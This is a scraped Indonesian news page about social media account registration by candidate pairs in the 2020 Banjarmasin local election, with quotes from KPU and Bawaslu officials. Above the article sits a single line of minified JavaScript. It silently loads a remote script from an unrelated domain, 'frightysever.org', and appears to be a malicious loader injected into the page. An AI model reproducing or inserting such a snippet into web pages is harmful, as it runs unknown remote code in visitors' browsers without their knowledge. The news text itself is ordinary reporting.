(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJARMASIN

Baru Paslon Haris-Ilham dan Ibnu-Arifin Daftarkan Akun Medsos ke KPU Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Pada Pilkada Banjarmasin yang diikuti oleh empat pasangan calon (paslon), dapat melaksanakan kampanye melalui media sosial (medsos). Kendati demikian, sejauh ini KPU Kota Banjarmasin baru menerima dua paslon yang mendaftarkan akun medsosnya.

“Sejauh ini baru paslon nomor urut 1 (Abdul Haris Makkie-Ilham Nor) dan nomor urut 2 (Ibnu Sina-Arifin Noor),” kata Komisioner KPU Kota Banjarmasin M. Syafrudin Akbar di Banjarmasin, Rabu (30/9/2020) siang.

Ditambahkan Komisioner KPU Kota Banjarmasin Taufiqkurrahman, paslon Haris-Ilham mendaftarkan 8 akun medsos ke KPU Kota Banjarmasin.

Sedangkan paslon Ibnu-Arifin mendaftarkan 12 akun medsos. Sehingga saat ini secara keseluruhan, ada 20 akun medsos dari 2 paslon yang telah mendaftarkan ke KPU Kota Banjarmasin. “Paling banyak paslon Ibnu Sina-Arifin, ada 12 akun medsos,” tegas Taufik -sapaan akrabnya.

Dari total 20 akun medsos yang didaftarkan oleh 2 paslon ini, terdiri dari berbagai platform seperti Facebook dan Instagram.

Sedangkan untuk iklan berbayar paslon di media massa, Taufik menyebut dapat dilakukan selama 14 hari sebelum masuk masa tenang. Terhitung dari tangga 22 November hingga 5 Desember 2020.

“Untuk pendaftaran akun medsos, paling lambat tanggal 2 Oktober. Maksimal 20 akun untuk satu paslon,” tandas Taufik.

Sementara itu, Ketua Bawaslu Kota Banjarmasin, Muhammad Yasar menambahkan, pihaknya akan melakukan pengawasan terhadap akun-akun medsos dari paslon Pilkada Banjarmasin. Namun demikian, Yasar mengingatkan, masih ada waktu tambahan 10 hari bagi paslon untuk mendaftarkan akun medsosnya ke KPU Kota Banjarmasin.

“Kalau tidak juga menyerahkan, artinya mereka tidak memiliki kesempatan untuk berkampanye di medsos,” kata Yasar.

Sedangkan akun yang tak terdaftar di KPU Kota Banjarmasin, Yasar menyebut itu sudah diluar aturan. Sehingga akun tak terdaftar itu tidak berhak mengikuti kampanye melalui media sosial. “Nanti akan kita telusuri dengan rekan-rekan kepolisian, karena kaitannya dengan cyber,” pungkas Yasar. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

1 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

17 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

17 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

18 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

19 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

19 jam ago

This website uses cookies.